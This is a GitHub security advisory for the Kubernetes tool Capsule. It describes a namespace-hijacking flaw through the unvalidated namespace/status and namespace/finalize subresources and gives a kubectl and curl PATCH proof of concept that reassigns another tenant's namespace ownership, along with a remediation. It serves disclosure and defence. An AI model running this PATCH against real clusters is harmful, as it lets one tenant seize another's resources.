GHSA-2WW6-HF35-MFJM

Vulnerability from github – Published: 2026-05-28 17:01 – Updated: 2026-05-28 17:01
VLAI
Summary
Capsule Namespace Hijacking via subresource
Details

Summary

To defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.

Details

When Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.

PoC

Open two terminals and create two tenants:

kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: oil
spec:
  owners:
  - name: alice
    kind: User
EOF

./hack/create-user.sh alice solar
export KUBECONFIG=alice-solar.kubeconfig
kubectl create namespace solar-production # alice creates the namespace

kubectl create -f - << EOF
apiVersion: capsule.clastix.io/v1beta2
kind: Tenant
metadata:
  name: attacker
spec:
  owners:
  - name: attacker
    kind: User
EOF

./hack/create-user.sh attacker attacker
export KUBECONFIG=attacker-attacker.kubeconfig

When the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:

kubectl create clusterrole status --verb=patch --resource=namespaces/status
kubectl create clusterrolebinding status --clusterrole=status --user=attacker

The attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:

curl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH 'https://192.168.201.12:6443/api/v1/namespaces/solar-production/status' \
--header 'Content-Type: application/json-patch+json' \
--data '[
    {
      "op": "replace",
      "path": "/metadata/ownerReferences",
      "value": [
        {
          "apiVersion": "capsule.clastix.io/v1beta2",
            "kind": "Tenant",
            "name": "attacker",
            "uid": "1fcb9c9b-b552-4974-a248-32be66a2188c"
        }
      ]
    }
  ]'

Impact

hijack namespace

Remediation

To mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:

    resources:
    - namespaces
    - namespaces/status
    - namespace/finalize
Severity
3.9 (Low)
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.13.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-30963"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-28T17:01:41Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "### Summary\nTo defend against namespace hijacking achieved through update/patch operations on namespaces, Capsule uses a webhook to validate update requests targeting namespaces. However, in Kubernetes, the namespace/finalize and namespace/status subresource APIs can also modify various fields of a namespace, including the metadata field. The webhook does not define interception rules for these subresources. As a result, if a tenant administrator has permission to modify namespace/status or namespace/finalize, they can successfully perform namespace hijacking.\n\n### Details\nWhen Capsule uses a ValidatingWebhookConfiguration to intercept changes to namespace resources, it does not intercept modification requests initiated through namespace subresource APIs (see: https://github.com/projectcapsule/capsule/blob/main/charts/capsule/templates/validatingwebhookconfiguration.yaml#L193). Through subresource APIs, it is still possible to modify the metadata field of a namespace resource, enabling hijacking.\n\n### PoC\nOpen two terminals and create two tenants:\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: oil\nspec:\n  owners:\n  - name: alice\n    kind: User\nEOF\n\n./hack/create-user.sh alice solar\nexport KUBECONFIG=alice-solar.kubeconfig\nkubectl create namespace solar-production # alice creates the namespace\n```\n\n```\nkubectl create -f - \u003c\u003c EOF\napiVersion: capsule.clastix.io/v1beta2\nkind: Tenant\nmetadata:\n  name: attacker\nspec:\n  owners:\n  - name: attacker\n    kind: User\nEOF\n\n./hack/create-user.sh attacker attacker\nexport KUBECONFIG=attacker-attacker.kubeconfig\n```\n\nWhen the attacker has permission to modify namespace/status or namespace/finalize, they can hijack other namespaces. Here we grant the attacker the relevant permissions:\n```\nkubectl create clusterrole status --verb=patch --resource=namespaces/status\nkubectl create clusterrolebinding status --clusterrole=status --user=attacker\n```\nThe attacker then sends a PATCH request to namespace/status to hijack the namespace created by alice:\n```\ncurl -k --cert ./attacker-attacker.crt --key attacker-attacker.key --request PATCH \u0027https://192.168.201.12:6443/api/v1/namespaces/solar-production/status\u0027 \\\n--header \u0027Content-Type: application/json-patch+json\u0027 \\\n--data \u0027[\n    {\n      \"op\": \"replace\",\n      \"path\": \"/metadata/ownerReferences\",\n      \"value\": [\n        {\n          \"apiVersion\": \"capsule.clastix.io/v1beta2\",\n            \"kind\": \"Tenant\",\n            \"name\": \"attacker\",\n            \"uid\": \"1fcb9c9b-b552-4974-a248-32be66a2188c\"\n        }\n      ]\n    }\n  ]\u0027\n```\n\n### Impact\nhijack namespace\n\n### Remediation\nTo mitigate this issue, add the following two subresources to the resources list in the ValidatingWebhookConfiguration rules:\n```\n    resources:\n    - namespaces\n    - namespaces/status\n\t- namespace/finalize\n```",
  "id": "GHSA-2ww6-hf35-mfjm",
  "modified": "2026-05-28T17:01:41Z",
  "published": "2026-05-28T17:01:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-2ww6-hf35-mfjm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule Namespace Hijacking via subresource"
}


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Detection rules are retrieved from Rulezet.